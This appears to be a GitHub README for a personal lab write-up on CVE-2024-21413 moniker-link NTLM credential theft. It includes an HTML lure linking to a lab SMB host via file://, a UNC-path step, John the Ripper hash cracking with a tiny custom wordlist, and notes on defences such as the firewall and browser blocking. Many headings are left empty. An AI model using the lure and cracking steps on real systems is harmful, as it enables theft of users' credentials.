
Penetration testing lab demonstrating CVE-2024-21413 moniker link exploitation for NTLM credential theft, including attack execution, hash cracking, and defensive countermeasures
Hands-on penetration testing lab demonstrating CVE-2024-21413 moniker link exploitation for NTLM credential theft. This project documents the complete attack chain from setup to credential compromise, including real-world challenges and solutions.
Key Achievement: Successfully executed moniker link attack on both isolated lab environment (Windows 10 VM) and real system (Windows 11 PC), demonstrating practical security vulnerabilities and defensive countermeasures.
Attack Machine:
Target Systems:
Network Configuration:
HTML File (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
File Explorer Method:
\\192.168.56.101\test in address barProblem:
Root Cause:
Solution:
Lesson: Default Windows Firewall provides effective protection against this attack. Users must keep it enabled.
Problem:
nwigwecj112Honey (wrong password!)12Honey was from a previous testRoot Cause:
~/.john/john.potSolution:
1414Lesson: Always verify you're cracking the correct hash. Clear pot file or use unique passwords for testing.
Problem:
1414 not found in rockyou.txt (14 million passwords)Root Cause:
Solution:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
Lesson: "Not in rockyou.txt" ≠ secure. Short passwords are vulnerable to targeted attacks and brute force regardless of wordlist presence.
✅ Windows Firewall - Completely blocked attack when enabled ✅ Modern Browsers - Chrome/Edge block remote file:// links ✅ User Awareness - Manual prompt requires user action
❌ Weak Passwords - 4-character numeric easily cracked ❌ Disabled Firewall - Common user mistake ❌ File Explorer - No warning for UNC paths ❌ NTLM Protocol - Automatic authentication to SMB shares
1. Firewall is Critical
2. Password Strength Illusion
1414 not in rockyou.txt (appears "strong")3. User Interaction Required
Offensive:
Infrastructure:
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
Technical:
Professional:
All testing conducted on authorized systems:
Legal Notice: Unauthorized computer access is illegal. This project is for educational purposes and authorized testing environments only.
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a
Date: March 2026
Educational use only. Not for unauthorized testing.
⭐ If you found this project helpful, please consider starring the repository!
| Metric | Result |
|---|
| Initial Password | nwigwecj1 |
| Changed To | 1414 |
| Wordlist | Custom (2 entries) |
| Crack Time | <1 second |
| Firewall | Disabled for testing |
| Status | ✅ Successfully compromised |
| Metric | Result |
|---|
| Password | 1414 |
| Firewall | Initially blocked, then disabled |
| Authentication | Manual prompt (entered credentials) |
| Crack Time | Instant |
| Status | ✅ Successfully compromised |